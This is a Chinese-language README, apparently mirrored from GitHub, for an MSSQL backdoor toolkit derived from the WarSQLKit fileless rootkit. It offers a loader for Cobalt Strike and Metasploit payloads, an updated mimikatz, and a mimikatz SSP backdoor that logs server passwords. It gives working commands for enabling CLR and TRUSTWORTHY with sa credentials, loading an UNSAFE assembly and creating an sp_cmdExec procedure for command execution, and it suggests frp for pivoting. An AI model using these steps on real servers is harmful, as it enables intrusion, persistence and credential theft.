MSSQL BackDoor Save

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MSSQL_BackDoor

目的主要是摆脱MSSMS和 Navicat 调用执行 sp_cmdExec

在原有项目( https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit )做了更新

  • 使用脚本查询可以获取返回值, 之前只能获取消息, 所以很依赖工具执行 sp_cmdExec
  • 更新 mimikatz_powershell 至2020版本
  • 添加自定义 loader, 用于加载 cobaltstrike 和 metasploit 的 payload
  • 添加 mimikatz_ssp 后门, 用于记录服务器的密码
  • sp_help, 一些提示指令

基于狼师傅的工具(http://wolvez.club/2019/09/19/mssql-command-tool/)稍微改了下程序

  1. OpenCLR
./mssqlrootkit -s 3.3.3.155 -u sa -p Admin1314 -q "sp_configure 'clr enabled', 1;RECONFIGURE;ALTER DATABASE master SET TRUSTWORTHY ON;"
  1. Load_ASSEMBLY
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4D5A9... WITH PERMISSION_SET = UNSAFE;
  1. Create_StoredProcedure
./mssqlrootkit -s 3.3.3.155 -u sa -p Admin1314 -q 'CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [WarSQLKit].[StoredProcedures].[CmdExec];'
  1. ??????

Xnip2020-07-05_13-42-09

Xnip2020-07-05_13-44-39

image-20200712113702428

瞎改了个 c# loader, 各位师傅将就用

image-20200710224809903

Xnip2020-07-12_11-17-46

部分利用思路:

例如: uknowsec师傅的-Frpc命令行版 https://github.com/uknowsec/frpModify

image-20200712122551483

image-20200712123252460

Open Source Agenda is not affiliated with "MSSQL BackDoor" Project. README Source: evi1ox/MSSQL_BackDoor
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